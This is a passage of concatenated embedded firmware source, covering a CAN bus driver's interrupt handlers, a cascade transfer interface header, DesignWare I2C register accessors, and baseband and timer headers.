buf->rx_last_id = _can_adjust_buf_id(can_ptr, can_ops, buf->rx_last_id);
/* Here, we read out all received frame from HW buffer,
* start from FW RX buffer id.
*/
for (i=0;i<CAN_FRAM_MAX_BUF_NUM;i++){
if (buf->rx_last_id > CAN_MAX_RX_BUF_ID) {
buf->rx_last_id = 0;
}
buf_id = buf->rx_last_id;
result = can_ops->read_frame(can_ptr, buf_id, rx_buf, frame_size);
if (E_OK == result) {
uint32_t msg_id, ide, dlc;
msg_id = rx_buf[0] & 0x1FFFFFFF;
ide = (rx_buf[0] & (1 << 30)) ? (1) : (0);
dlc = (rx_buf[1] >> 16) & 0xF;
len = can_get_datalen(dlc);
if (len > 0) {
if (buf->rx_indication) {
buf->rx_indication(msg_id, ide, &rx_buf[2], len);
#ifdef OS_FREERTOS
uint32_t msg = 0;
xQueueSendFromISR(queue_can_isr, (void *)&msg, 0);
#endif
}
}
buf->rx_last_id += 1;
} else if (E_NODATA == result) {
result = E_OK;
break;
} else {
EMBARC_PRINTF("[%s] can_ops->read_frame ret err: %d\r\n", __func__, result);
break;
}
}
return result;
}
/*
* rx queue is in can driver layer!
* */
static int32_t _can_rx_buffer_read(can_t *can_ptr, can_ops_t *can_ops, can_xfer_t *buf)
{
int32_t result = E_OK;
uint32_t buf_id = 0;
uint32_t frame_size = CAN_DFS_2_FRAMESIZE(buf->rx_dfs);
uint32_t *rx_buf = NULL;
if (buf->rx_last_id > CAN_MAX_RX_BUF_ID) {
buf->rx_last_id = 0;
}
buf_id = buf->rx_last_id;
while (buf->rx_len > buf->rx_ofs) {
if (buf->rx_len - buf->rx_ofs < (frame_size << 2)) {
/* TODO: rx buffer unaligned with frame size, Panic! */
result = E_SYS;
break;
} else {
/* received data. if need, restall rx buffer! */
rx_buf = (uint32_t *)((uint32_t)buf->rx_buf + buf->rx_ofs);
result = can_ops->read_frame(can_ptr, buf_id, rx_buf, frame_size);
if (E_OK == result) {
buf_id += 1;
if (buf_id > CAN_MAX_RX_BUF_ID) {
buf_id = 0;
}
buf->rx_ofs += frame_size << 2;
if (buf->rx_ofs >= buf->rx_len) {
result = _can_rx_buffer_full(can_ptr, buf);
break;
}
} else if (E_NODATA == result) {
/* hw rx buffer no data! */
result = E_OK;
break;
} else {
/* device operation error, Panic! */
break;
}
}
}
/* record rx buffer id. */
buf->rx_last_id = buf_id;
return result;
}
/* rx fifo reaches to watermark. or tx buffer/fifo new message. */
static void _can_rx_handler(can_t *can_ptr, can_xfer_t *buf, uint32_t line, void *param)
{
int32_t result = E_OK;
uint32_t int_status = 0;
can_ops_t *can_ops = NULL;
if ((NULL == can_ptr) || (line >= 4) || \
(NULL == buf)) {
result = E_PAR;
} else {
can_ops = (can_ops_t *)can_ptr->ops;
if (NULL == can_ops) {
result = E_NOOPS;
} else {
result = can_ops->int_status(can_ptr, 0xFFFFFFFFU);
if (result > 0) {
int_status = result;
/* We firstly clear the interrupts! */
result = can_ops->int_clear(can_ptr, int_status);
} else {
/* TODO: exception! no status, but interrupt! */
result = E_SYS;
EMBARC_PRINTF("[%s] exception! no status, but interrupt!\r\n", __func__);
return;
}
}
}
if (E_OK == result) {
if (int_status & CAN_INT_RX_NEW_MESSAGE) {
/* received frame. */
if (buf->rx_indication) {
result = _can_frame_read(can_ptr, can_ops, buf);
} else {
if ((NULL == buf->rx_buf) || \
(0 == buf->rx_len) || \
(buf->rx_ofs >= buf->rx_len)) {
result = E_PAR;
} else {
result = _can_rx_buffer_read(can_ptr, can_ops, buf);
}
}
} else if (int_status & CAN_INT_RX_FIFO_FILLED) {
/* TODO: FIFO mode. */
} else {
result = E_SYS;
}
}
if (E_OK != result) {
/* TODO: Error happended in interrupt context, system crash! */
}
}
/* tx fifo is empty. or tx finished. */
static void _can_tx_handler(can_t *can_ptr, can_xfer_t *buf, uint32_t line, void *param)
{
int32_t result = E_OK;
uint32_t int_status = 0;
can_ops_t *can_ops = NULL;
if ((NULL == can_ptr) || (line >= 4) || \
(NULL == buf) || (NULL == buf->tx_buf) || \
(0 == buf->tx_len)) {
result = E_PAR;
} else {
can_ops = (can_ops_t *)can_ptr->ops;
if (NULL == can_ops) {
result = E_NOOPS;
} else {
/* Check CAN Tx interrupt status */
result = can_ops->int_status(can_ptr, 0xFFFFFFFFU);
if (result > 0) {
int_status = result;
result = E_OK;
} else {
/* TODO: exception! no status, but interrupt! */
result = E_SYS;
}
}
}
if (E_OK == result) {
if (int_status & CAN_INT_TX_COMPLISHED) {
/* Clear TX complete interrupt flag */
can_ops->int_clear(can_ptr, CAN_INT_TX_COMPLISHED);
/* Check whether still have data need to be sent */
if(buf->tx_len > buf->tx_ofs) {
/* Continue to send data */
can_send_frame(can_ptr, can_ops, buf);
} else {
/* All the data have been sent, disable interrupt and reset can data buffer */
_can_interrupt_enable(can_ptr, 1, 0, 0);
can_reset_data_buffer(buf);
}
} else if (int_status & CAN_INT_TX_FIFO_READY) {
/* TODO: FIFO mode. */
} else {
result = E_SYS;
}
} else {
/* TODO: Error happended in interrupt context, system crash! */
;
}
}
static void _can_error_handler(can_t *can_ptr, uint32_t line, void *param)
{
int32_t result = E_OK;
uint32_t int_bitmap = 0;
uint32_t int_status = 0;
can_ops_t *can_ops = NULL;
if ((NULL == can_ptr) || (line >= 4)) {
result = E_PAR;
} else {
int_bitmap = can_ptr->int_line_bitmap[line];
can_ops = (can_ops_t *)can_ptr->ops;
if (NULL == can_ops) {
result = E_NOOPS;
} else {
result = can_ops->int_status(can_ptr, 0xFFFFFFFFU);
if (result > 0) {
int_status = result;
result = E_OK;
} else {
/* TODO: exception! no status, but interrupt! */
result = E_SYS;
}
}
}
if (E_OK == result) {
int_status = int_status & int_bitmap;
while (int_status) {
/* Clear the error interrupts */
can_ops->int_clear(can_ptr, int_status);
if ((int_status & CAN_INT_ERR_PASSIVE) || (int_status & CAN_INT_PROTOCOL_ERR)) {
EMBARC_PRINTF("[%s] protocol err: %d \r\n", __func__, E_PROTOCOL);
}
if (int_status & CAN_INT_BUS_OFF) {
EMBARC_PRINTF("[%s] bus off: %d \r\n", __func__, E_NBO);
#if 1
/* CAN BUS is reset */
#if (USE_CAN_FD == 1)
can_init(0, CAN_BAUDRATE_500KBPS, CAN_BAUDRATE_1MBPS);
#else
can_init(0, CAN_BAUDRATE_500KBPS, 0);
#endif
/* Enable the RX interrupt */
can_interrupt_enable(0, 0, 1);
/* Enable the error interrupt */
can_interrupt_enable(0, 3, 1);
#endif
}
result = can_ops->int_status(can_ptr, 0xFFFFFFFFU);
int_status = result & int_bitmap;
}
}
}
static void _can_unused_handler(can_t *can_ptr, uint32_t line, void *param)
{
/*
* TODO: this kind of interrupt weren't enabled.
* but their status are valid? system crash!
* */
}
/* CAN0 interrupt service routine. */
static void can0_line0_isr(void *param)
{
_can_rx_handler(dev_can[0], &can_buf[0], 0, param);
}
static void can0_line1_isr(void *param)
{
_can_tx_handler(dev_can[0], &can_buf[0], 1, param);
}
static void can0_line2_isr(void *param)
{
_can_unused_handler(dev_can[0], 2, param);
}
static void can0_line3_isr(void *param)
{
_can_error_handler(dev_can[0], 3, param);
}
/* CAN1 interrupt service routine. */
static void can1_line0_isr(void *param)
{
_can_rx_handler(dev_can[1], &can_buf[1], 0, param);
}
static void can1_line1_isr(void *param)
{
_can_tx_handler(dev_can[1], &can_buf[1], 1, param);
}
static void can1_line2_isr(void *param)
{
_can_unused_handler(dev_can[1], 2, param);
}
static void can1_line3_isr(void *param)
{
_can_error_handler(dev_can[1], 3, param);
}
static int32_t can_int_install(uint32_t id)
{
int32_t result = E_OK;
INT_HANDLER int_info[4];
uint32_t int_idx;
can_ops_t *can_ops = (can_ops_t *)dev_can[id]->ops;
if (0 == id) {
int_info[0] = can0_line0_isr;
int_info[1] = can0_line1_isr;
int_info[2] = can0_line2_isr;
int_info[3] = can0_line3_isr;
} else if (1 == id) {
int_info[0] = can1_line0_isr;
int_info[1] = can1_line1_isr;
int_info[2] = can1_line2_isr;
int_info[3] = can1_line3_isr;
} else {
result = E_PAR;
}
if (E_OK == result) {
/* Tx interrupt line select INT1, but it isn't enabled in code now*/
result = can_ops->int_line_select(dev_can[id], CAN_INT_TX_COMPLISHED, 1);
/* Error interrupt line select INT3 */
result = can_ops->int_line_select(dev_can[id], CAN_INT_ERR_PASSIVE, 3);
result = can_ops->int_line_select(dev_can[id], CAN_INT_BUS_OFF, 3);
result = can_ops->int_line_select(dev_can[id], CAN_INT_PROTOCOL_ERR, 3);
}
for (int_idx = 0; (E_OK == result) && (int_idx < 4); int_idx++) {
result = int_handler_install(dev_can[id]->int_line[int_idx], \
int_info[int_idx]);
if (E_OK == result) {
result = int_enable(dev_can[id]->int_line[int_idx]);
if (E_OK == result) {
result = can_ops->int_line_enable(dev_can[id], int_idx, 1);
}
dmu_irq_enable(dev_can[id]->int_line[int_idx], 1);
}
}
return result;
}
#endif
<file_sep>#ifndef _CASCADE_INTERNAL_H_
#define _CASCADE_INTERNAL_H_
#include "frame.h"
#define CASCADE_BUFFER_SIZE (20000 >> 2)
#define CASCADE_QUEUE_LEN (3)
typedef enum {
CS_XFER_INVALID = 0,
CS_RX,
CS_TX,
CS_SLV_TX_DONE,
CS_XFER
} cs_xfer_type_t;
typedef enum {
CS_XFER_IDLE = 0,
CS_XFER_LOCK,
CS_XFER_BUSY,
CS_XFER_CRC,
CS_XFER_DONE,
CS_XFER_PENDING
} cs_xfer_state_t;
typedef struct cascade_comm_config {
uint8_t tx_mode;
uint8_t rx_mode;
//uint8_t frame_format;
uint8_t hw_if_id;
void *xfer_desc;
} cs_com_cfg_t;
typedef struct cascade_xfer_manager {
//uint32_t buffer[CASCADE_BUFFER_SIZE];
DEV_BUFFER devbuf;
uint8_t crc_dma_chn_id;
uint8_t crc_unmatch_cnt;
cs_frame_t cur_frame;
uint32_t *data;
uint32_t xfer_size;
uint8_t nof_frame;
uint8_t cur_frame_id;
uint8_t crc_done_cnt;
uint8_t hw_if_mode;
cs_xfer_state_t state;
QueueHandle_t queue_handle;
void (*done)(uint32_t *data, uint32_t len, int32_t result);
} cs_xfer_mng_t;
int32_t cascade_if_init(void);
int32_t cadcade_if_slave_init(uint8_t id);
int32_t cadcade_if_master_init(uint8_t id);
int32_t cascade_if_master_sync_init(void);
int32_t cascade_if_slave_sync_init(void);
int32_t cascade_spi_s2m_sync(void);
void cascade_receiver_init(uint32_t length);
void cascade_rx_indication(cs_xfer_mng_t *xfer);
void cascade_tx_confirmation(cs_xfer_mng_t *xfer);
void cascade_sync_callback(void *params);
void cascade_if_callback(void *params);
void cascade_if_master_package_init(cs_xfer_mng_t *xfer);
void cascade_if_slave_package_init(cs_xfer_mng_t *xfer);
int32_t cascade_sync_send_callback(cs_xfer_mng_t *xfer);
int32_t cascade_sync_receive_callback(cs_xfer_mng_t *xfer);
void cascade_if_master_send_callback(cs_xfer_mng_t *xfer);
void cascade_if_master_receive_callback(cs_xfer_mng_t *xfer);
void cascade_if_slave_send_callback(cs_xfer_mng_t *xfer);
void cascade_if_slave_receive_callback(cs_xfer_mng_t *xfer);
void cascade_session_state(uint8_t state);
int32_t cascade_in_xfer_session(cs_xfer_mng_t **xfer);
void cascade_if_xfer_resume(cs_xfer_mng_t *xfer, uint32_t length);
void cascade_if_master_xfer_resume(cs_xfer_mng_t *xfer, uint32_t length);
void cascade_if_slave_xfer_resume(cs_xfer_mng_t *xfer, uint32_t length);
void cascade_crc_init(void);
void cascade_crc_compute_done(uint32_t crc32);
void cascade_rx_crc_handle(cs_xfer_mng_t *xfer, uint32_t crc32);
void cascade_tx_crc_handle(cs_xfer_mng_t *xfer, uint32_t crc32);
void cascade_if_slave_rx_crc_done(cs_xfer_mng_t *xfer, uint32_t crc32);
void cascade_if_slave_tx_crc_done(cs_xfer_mng_t *xfer, uint32_t crc32);
void cascade_if_master_rx_crc_done(cs_xfer_mng_t *xfer, uint32_t crc32);
void cascade_if_master_tx_crc_done(cs_xfer_mng_t *xfer, uint32_t crc32);
int32_t cascade_if_master_write(cs_xfer_mng_t *xfer);
int32_t cascade_if_slave_write(cs_xfer_mng_t *xfer);
int32_t cascade_package_init(cs_xfer_mng_t *xfer, uint32_t *data, uint16_t len);
void cascade_rx_first_frame_init(cs_xfer_mng_t *xfer);
void cascade_rx_next_frame_init(cs_xfer_mng_t *xfer, uint32_t frame_len);
void cascade_package_done(cs_xfer_mng_t *xfer);
void cascade_tx_first_frame_init(cs_frame_t *frame, uint32_t *data, uint16_t len);
void cascade_tx_next_frame_init(cs_xfer_mng_t *xfer);
int32_t cascade_crc_dmacopy(uint32_t *data, uint32_t len);
void cascade_crc_request(uint32_t *data, uint32_t length);
#endif
<file_sep>#ifndef _DW_I2C_REG_H_
#define _DW_I2C_REG_H_
#define REG_DW_I2C_CON_OFFSET (0x0000)
#define REG_DW_I2C_TAR_OFFSET (0x0004)
#define REG_DW_I2C_SAR_OFFSET (0x0008)
#define REG_DW_I2C_HS_MADDR_OFFSET (0x000C)
#define REG_DW_I2C_DATA_CMD_OFFSET (0x0010)
#define REG_DW_I2C_SS_SCL_HCNT_OFFSET (0x0014)
#define REG_DW_I2C_SS_SCL_LCNT_OFFSET (0x0018)
#define REG_DW_I2C_FS_SCL_HCNT_OFFSET (0x001C)
#define REG_DW_I2C_FS_SCL_LCNT_OFFSET (0x0020)
#define REG_DW_I2C_HS_SCL_HCNT_OFFSET (0x0024)
#define REG_DW_I2C_HS_SCL_LCNT_OFFSET (0x0028)
#define REG_DW_I2C_INTR_STAT_OFFSET (0x002C)
#define REG_DW_I2C_INTR_MASK_OFFSET (0x0030)
#define REG_DW_I2C_RAW_INTR_STAT_OFFSET (0x0034)
#define REG_DW_I2C_RX_TL_OFFSET (0x0038)
#define REG_DW_I2C_TX_TL_OFFSET (0x003C)
#define REG_DW_I2C_CLR_INTR_OFFSET (0x0040)
#define REG_DW_I2C_CLR_RX_UNDER_OFFSET (0x0044)
#define REG_DW_I2C_CLR_RX_OVER_OFFSET (0x0048)
#define REG_DW_I2C_CLR_TX_OVER_OFFSET (0x004C)
#define REG_DW_I2C_CLR_RD_REQ_OFFSET (0x0050)
#define REG_DW_I2C_CLR_TX_ABORT_OFFSET (0x0054)
#define REG_DW_I2C_CLR_RX_DONE_OFFSET (0x0058)
#define REG_DW_I2C_CLR_ACTIVITY_OFFSET (0x005C)
#define REG_DW_I2C_CLR_STOP_DET_OFFSET (0x0060)
#define REG_DW_I2C_CLR_START_DET_OFFSET (0x0064)
#define REG_DW_I2C_CLR_GEN_CALL_OFFSET (0x0068)
#define REG_DW_I2C_ENABLE_OFFSET (0x006C)
#define REG_DW_I2C_STATUS_OFFSET (0x0070)
#define REG_DW_I2C_TXFLR_OFFSET (0x0074)
#define REG_DW_I2C_RXFLR_OFFSET (0x0078)
#define REG_DW_I2C_SDA_HOLD_OFFSET (0x007C)
#define REG_DW_I2C_TX_ABRT_SRC_OFFSET (0x0080)
#define REG_DW_I2C_SLV_DATA_NACK_OFFSET (0x0084)
#define REG_DW_I2C_DMA_CR_OFFSET (0x0088)
#define REG_DW_I2C_DMA_TDLR_OFFSET (0x008C)
#define REG_DW_I2C_DMA_RDLR_OFFSET (0x0090)
#define REG_DW_I2C_SDA_SETUP_OFFSET (0x0094)
#define REG_DW_I2C_ACK_GEN_CALL_OFFSET (0x0098)
#define REG_DW_I2C_ENABLE_STATUS_OFFSET (0x009C)
#define REG_DW_I2C_FS_SPKLEN_OFFSET (0x00A0)
#define REG_DW_I2C_UFM_SPKLEN_OFFSET (0x00A0)
#define REG_DW_I2C_HS_SPKLEN_OFFSET (0x00A4)
#define REG_DW_I2C_CLR_RS_DET_OFFSET (0x00A8)
#define REG_DW_I2C_SCL_STUCK_LT_OFFSET (0x00AC)
#define REG_DW_I2C_SDA_STUCK_LT_OFFSET (0x00B0)
#define REG_DW_I2C_CLR_SCL_STUCK_OFFSET (0x00B4)
#define REG_DW_I2C_DEVICE_ID_OFFSET (0x00B8)
#define REG_DW_I2C_COMP_PARAM_1_OFFSET (0x00F4)
#define REG_DW_I2C_COMP_VERSION_OFFSET (0x00F8)
#define REG_DW_I2C_COMP_TYPE_OFFSET (0x00FC)
/* control register. */
#define BIT_I2C_CON_STOP_DET_ADDR (1 << 10)
#define BIT_I2C_CON_TX_EMPTY_CTRL (1 << 8)
#define BIT_I2C_CON_SLAVE_DISABLE (1 << 6)
#define BIT_I2C_CON_RESTART_EN (1 << 5)
#define BIT_I2C_CON_M_10BIT_ADDR (1 << 4)
#define BIT_I2C_CON_S_10BIT_ADDR (1 << 3)
#define BITS_I2C_CON_SPEED_OFFSET (1)
#define BITS_I2C_CON_SPEED_MASK (0x3)
#define BIT_I2C_CON_M_MODE (1 << 0)
/*The following interface is based on synopsys designware file,you will not use them in normal.
if you want achieve some customized function,you can use interfaces in the dw_i2c.c file.
If you really want to use the following interface.Please check your chip whether support corresponding function. */
static inline void dw_i2c_tx_empty_control(uint32_t enabled)
{
uint32_t value = raw_readl(REL_REGBASE_I2C0 + REG_DW_I2C_CON_OFFSET);
if (enabled) {
value |= BIT_I2C_CON_TX_EMPTY_CTRL;
} else {
value &= ~BIT_I2C_CON_TX_EMPTY_CTRL;
}
raw_writel(REL_REGBASE_I2C0 + REG_DW_I2C_CON_OFFSET, value);
}
static inline void dw_i2c_slave_issue_stop_det_int(uint32_t mode)
{
uint32_t value = raw_readl(REL_REGBASE_I2C0 + REG_DW_I2C_CON_OFFSET);
if (mode) {
value |= BIT_I2C_CON_STOP_DET_ADDR;
} else {
value &= ~BIT_I2C_CON_STOP_DET_ADDR;
}
raw_writel(REL_REGBASE_I2C0 + REG_DW_I2C_CON_OFFSET, value);
}
static inline uint32_t dw_i2c_slave_disabled(void)
{
if (raw_readl(REL_REGBASE_I2C0 + REG_DW_I2C_CON_OFFSET) & \
BIT_I2C_CON_SLAVE_DISABLE) {
return 1;
} else {
return 0;
}
}
static inline void dw_i2c_restart(uint32_t enable)
{
uint32_t value = raw_readl(REL_REGBASE_I2C0 + REG_DW_I2C_CON_OFFSET);
if (enable) {
value |= BIT_I2C_CON_RESTART_EN;
} else {
value &= ~BIT_I2C_CON_RESTART_EN;
}
raw_writel(REL_REGBASE_I2C0 + REG_DW_I2C_CON_OFFSET, value);
}
static inline void dw_i2c_address_bit_width(uint32_t m_s, uint32_t w_10bit)
{
uint32_t value = raw_readl(REL_REGBASE_I2C0 + REG_DW_I2C_CON_OFFSET);
if (m_s) {
if (w_10bit) {
value |= BIT_I2C_CON_S_10BIT_ADDR;
} else {
value &= ~BIT_I2C_CON_S_10BIT_ADDR;
}
} else {
if (w_10bit) {
value |= BIT_I2C_CON_M_10BIT_ADDR;
} else {
value &= ~BIT_I2C_CON_M_10BIT_ADDR;
}
}
raw_writel(REL_REGBASE_I2C0 + REG_DW_I2C_CON_OFFSET, value);
}
static inline void dw_i2c_speed(uint32_t speed)
{
uint32_t value = raw_readl(REL_REGBASE_I2C0 + REG_DW_I2C_CON_OFFSET);
value &= ~(BITS_I2C_CON_SPEED_MASK << BITS_I2C_CON_SPEED_OFFSET);
value |= (BITS_I2C_CON_SPEED_MASK & speed) << BITS_I2C_CON_SPEED_OFFSET;
raw_writel(REL_REGBASE_I2C0 + REG_DW_I2C_CON_OFFSET, value);
}
static inline void dw_i2c_master_mode(uint32_t enable)
{
uint32_t value = raw_readl(REL_REGBASE_I2C0 + REG_DW_I2C_CON_OFFSET);
if (enable) {
value |= BIT_I2C_CON_M_MODE;
} else {
value &= ~BIT_I2C_CON_M_MODE;
}
raw_writel(REL_REGBASE_I2C0 + REG_DW_I2C_CON_OFFSET, value);
}
static inline void dw_i2c_master_control(uint32_t tx_empty_ctrl, \
uint32_t restart_en, uint32_t addr_10bits, uint32_t speed)
{
uint32_t value = 1;
if (tx_empty_ctrl) {
value |= BIT_I2C_CON_TX_EMPTY_CTRL;
}
if (restart_en) {
value |= BIT_I2C_CON_RESTART_EN;
}
if (addr_10bits) {
value |= BIT_I2C_CON_M_10BIT_ADDR;
}
value |= (speed & 0x3) << 1;
raw_writel(REL_REGBASE_I2C0 + REG_DW_I2C_CON_OFFSET, value);
}
/*static inline void dw_i2c_target_address(uint32_t special, uint32_t gc_or_start, uint32_t addr)
{
uint32_t value = 0;
if (special) {
value |= (1 << 11);
if (gc_or_start) {
value |= (1 << 10);
}
} else {
value = addr & 0x3FF;
}
raw_writel(REL_REGBASE_I2C0 + REG_DW_I2C_TAR_OFFSET, value);
}*/
static inline void dw_i2c_slave_address(uint32_t addr)
{
raw_writel(REL_REGBASE_I2C0 + REG_DW_I2C_SAR_OFFSET, addr & 0x3FF);
}
/*static inline void dw_i2c_hs_master_code(uint32_t addr)
{
raw_writel(REL_REGBASE_I2C0 + REG_DW_I2C_HS_MADDR_OFFSET, addr & 0x7);
}*/
static inline uint32_t dw_i2c_first_data_byte(void)
{
uint32_t value = raw_readl(REL_REGBASE_I2C0 + REG_DW_I2C_DATA_CMD_OFFSET);
if (value & (1 << 11)) {
return 1;
} else {
return 0;
}
}
static inline void dw_i2c_data_cmd(uint32_t restart, uint32_t stop, \
uint32_t rd, uint32_t data)
{
uint32_t value = 0;
if (restart) {
value |= (1 << 10);
}
if (stop) {
value |= (1 << 9);
}
if (rd) {
value |= (1 << 8);
} else {
value |= data & 0xFF;
}
raw_writel(REL_REGBASE_I2C0 + REG_DW_I2C_DATA_CMD_OFFSET, value);
}
static inline uint32_t dw_i2c_data_read(void)
{
return raw_readl(REL_REGBASE_I2C0 + REG_DW_I2C_DATA_CMD_OFFSET) & 0xFF;
}
static inline void dw_i2c_ss_scl_count(uint32_t h_count, uint32_t l_count)
{
raw_writel(REL_REGBASE_I2C0 + REG_DW_I2C_SS_SCL_HCNT_OFFSET, h_count & 0xFFFF);
raw_writel(REL_REGBASE_I2C0 + REG_DW_I2C_SS_SCL_LCNT_OFFSET, l_count & 0xFFFF);
}
static inline void dw_i2c_fs_scl_count(uint32_t h_count, uint32_t l_count)
{
raw_writel(REL_REGBASE_I2C0 + REG_DW_I2C_FS_SCL_HCNT_OFFSET, h_count & 0xFFFF);
raw_writel(REL_REGBASE_I2C0 + REG_DW_I2C_FS_SCL_LCNT_OFFSET, l_count & 0xFFFF);
}
static inline void dw_i2c_hs_scl_count(uint32_t h_count, uint32_t l_count)
{
raw_writel(REL_REGBASE_I2C0 + REG_DW_I2C_HS_SCL_HCNT_OFFSET, h_count & 0xFFFF);
raw_writel(REL_REGBASE_I2C0 + REG_DW_I2C_HS_SCL_LCNT_OFFSET, l_count & 0xFFFF);
}
static inline uint32_t dw_i2c_int_status(void)
{
return raw_readl(REL_REGBASE_I2C0 + REG_DW_I2C_INTR_STAT_OFFSET);
}
static inline uint32_t dw_i2c_raw_int_status(void)
{
return raw_readl(REL_REGBASE_I2C0 + REG_DW_I2C_RAW_INTR_STAT_OFFSET);
}
static inline void dw_i2c_int_enable(uint32_t bits)
{
uint32_t value = raw_readl(REL_REGBASE_I2C0 + REG_DW_I2C_INTR_MASK_OFFSET);
value |= bits;
raw_writel(REL_REGBASE_I2C0 + REG_DW_I2C_INTR_MASK_OFFSET, value);
}
static inline void dw_i2c_int_mask(uint32_t mask)
{
raw_writel(REL_REGBASE_I2C0 + REG_DW_I2C_INTR_MASK_OFFSET, mask);
}
static inline void dw_i2c_rxfifo_threshold(uint32_t thres)
{
raw_writel(REL_REGBASE_I2C0 + REG_DW_I2C_RX_TL_OFFSET, thres & 0xFF);
}
static inline void dw_i2c_txfifo_threshold(uint32_t thres)
{
raw_writel(REL_REGBASE_I2C0 + REG_DW_I2C_TX_TL_OFFSET, thres & 0xFF);
}
static inline void dw_i2c_all_int_clear(void)
{
raw_readl(REL_REGBASE_I2C0 + REG_DW_I2C_CLR_INTR_OFFSET);
}
static inline void dw_i2c_rx_under_clear(void)
{
raw_readl(REL_REGBASE_I2C0 + REG_DW_I2C_CLR_RX_UNDER_OFFSET);
}
static inline void dw_i2c_rx_over_clear(void)
{
raw_readl(REL_REGBASE_I2C0 + REG_DW_I2C_CLR_RX_OVER_OFFSET);
}
static inline void dw_i2c_tx_over_clear(void)
{
raw_readl(REL_REGBASE_I2C0 + REG_DW_I2C_CLR_TX_OVER_OFFSET);
}
static inline void dw_i2c_tx_abort_clear(void)
{
raw_readl(REL_REGBASE_I2C0 + REG_DW_I2C_CLR_TX_ABORT_OFFSET);
}
static inline void dw_i2c_rx_done_clear(void)
{
raw_readl(REL_REGBASE_I2C0 + REG_DW_I2C_CLR_RX_DONE_OFFSET);
}
static inline void dw_i2c_activity_clear(void)
{
raw_readl(REL_REGBASE_I2C0 + REG_DW_I2C_CLR_ACTIVITY_OFFSET);
}
static inline void dw_i2c_stop_det_clear(void)
{
raw_readl(REL_REGBASE_I2C0 + REG_DW_I2C_CLR_STOP_DET_OFFSET);
}
static inline void dw_i2c_start_det_clear(void)
{
raw_readl(REL_REGBASE_I2C0 + REG_DW_I2C_CLR_START_DET_OFFSET);
}
static inline void dw_i2c_gen_call_clear(void)
{
raw_readl(REL_REGBASE_I2C0 + REG_DW_I2C_CLR_GEN_CALL_OFFSET);
}
static inline void dw_i2c_restart_det_clear(void)
{
raw_readl(REL_REGBASE_I2C0 + REG_DW_I2C_CLR_RS_DET_OFFSET);
}
static inline void dw_i2c_stuck_at_low_clear(void)
{
raw_readl(REL_REGBASE_I2C0 + REG_DW_I2C_CLR_SCL_STUCK_OFFSET);
}
/*static inline void dw_i2c_enable(uint32_t tx_block, \
uint32_t abort, uint32_t enable)
{
uint32_t value = 0;
if (tx_block) {
value |= (1 << 2);
}
if (abort) {
value |= (1 << 1);
}
if (enable) {
value |= (1 << 0);
}
raw_writel(REL_REGBASE_I2C0 + REG_DW_I2C_ENABLE_OFFSET, value);
}*/
/*static inline uint32_t dw_i2c_status(void)
{
return raw_readl(REL_REGBASE_I2C0 + REG_DW_I2C_STATUS_OFFSET);
}*/
static inline uint32_t dw_i2c_txfifo_data_cnt(void)
{
return raw_readl(REL_REGBASE_I2C0 + REG_DW_I2C_TXFLR_OFFSET) & 0x3F;
}
static inline uint32_t dw_i2c_rxfifo_data_cnt(void)
{
return raw_readl(REL_REGBASE_I2C0 + REG_DW_I2C_RXFLR_OFFSET) & 0x3F;
}
/*static inline void dw_i2c_sda_hold_time(uint32_t rx_hold_time, uint32_t tx_hold_time)
{
uint32_t value = tx_hold_time & 0xFFFF;
value |= (rx_hold_time & 0xFF) << 16;
raw_writel(REL_REGBASE_I2C0 + REG_DW_I2C_SDA_HOLD_OFFSET, value);
}*/
static inline uint32_t dw_i2c_abort_source(void)
{
return raw_readl(REL_REGBASE_I2C0 + REG_DW_I2C_TX_ABRT_SRC_OFFSET);
}
static inline void dw_i2c_dma_enable(uint32_t rx, uint32_t tx)
{
uint32_t value = 0;
if (rx) {
value |= (1 << 0);
}
if (tx) {
value |= (1 << 1);
}
raw_writel(REL_REGBASE_I2C0 + REG_DW_I2C_DMA_CR_OFFSET, value);
}
static inline void dw_i2c_dma_tx_threshold(uint32_t thres)
{
raw_writel(REL_REGBASE_I2C0 + REG_DW_I2C_DMA_TDLR_OFFSET, thres & 0x1F);
}
static inline void dw_i2c_dma_rx_threshold(uint32_t thres)
{
raw_writel(REL_REGBASE_I2C0 + REG_DW_I2C_DMA_RDLR_OFFSET, thres & 0x1F);
}
static inline void dw_i2c_ack_general_call(uint32_t enable)
{
if (enable) {
raw_writel(REL_REGBASE_I2C0 + REG_DW_I2C_ACK_GEN_CALL_OFFSET, 1);
} else {
raw_writel(REL_REGBASE_I2C0 + REG_DW_I2C_ACK_GEN_CALL_OFFSET, 0);
}
}
static inline uint32_t dw_i2c_enabled(void)
{
return raw_readl(REL_REGBASE_I2C0 + REG_DW_I2C_ENABLE_STATUS_OFFSET);
}
static inline void dw_i2c_fs_spike(uint32_t spklen)
{
raw_writel(REL_REGBASE_I2C0 + REG_DW_I2C_FS_SPKLEN_OFFSET, spklen & 0xFF);
}
static inline void dw_i2c_hs_spike(uint32_t spklen)
{
raw_writel(REL_REGBASE_I2C0 + REG_DW_I2C_HS_SPKLEN_OFFSET, spklen & 0xFF);
}
static inline uint32_t dw_i2c_device_id(void)
{
return raw_readl(REL_REGBASE_I2C0 + REG_DW_I2C_DEVICE_ID_OFFSET);
}
#endif
<file_sep>#ifndef BASEBAND_DPC_H
#define BASEBAND_DPC_H
#include "embARC_toolchain.h"
#include "baseband.h"
#define DPC_SIZE 5
typedef void (*dpc_callback)(baseband_t *bb);
typedef struct {
dpc_callback pre;
dpc_callback post;
dpc_callback post_irq;
bool fi_recfg; // flag for frame interleaving reconfig
bool stream_on; // flag for data dump support of stream on
// Below are parameter for baseband_hw_start_with_params
bool radio_en;
bool tx_en;
uint16_t sys_enable;
bool cas_sync_en;
uint8_t sys_irq_en;
bool track_en;
// flag for last data proc
bool end;
} baseband_data_proc_t;
bool baseband_data_proc_run(baseband_data_proc_t * dp);
void baseband_data_proc_init();
baseband_data_proc_t * baseband_get_dpc();
void baseband_data_proc_hil(uint16_t bb_ena_0, uint16_t bb_ena_1, uint16_t bb_ena_2);
bool baseband_data_proc_req();
void bb_dpc_sysen_set(uint8_t bb_dpc_ind, uint16_t bb_sysen);
#endif
<file_sep>#ifndef _PMIC_H_
#define _PMIC_H_
#endif
<file_sep>#ifndef _DW_TIMER_H_
#define _DW_TIMER_H_
typedef struct dw_timer_desc {
uint32_t base;
uint32_t timer_cnt;
uint8_t *int_no;
void *ops;
} dw_timer_t;
typedef enum dw_timer_mode {
FREE_RUNNING_MODE = 0,
USER_DEFINED_MODE,
} timer_mode_t;
typedef struct dw_timer_operation {
int32_t (*enable)(dw_timer_t *timer, uint32_t id, uint32_t en);
int32_t (*load_count_update)(dw_timer_t *timer, uint32_t id, uint32_t count);
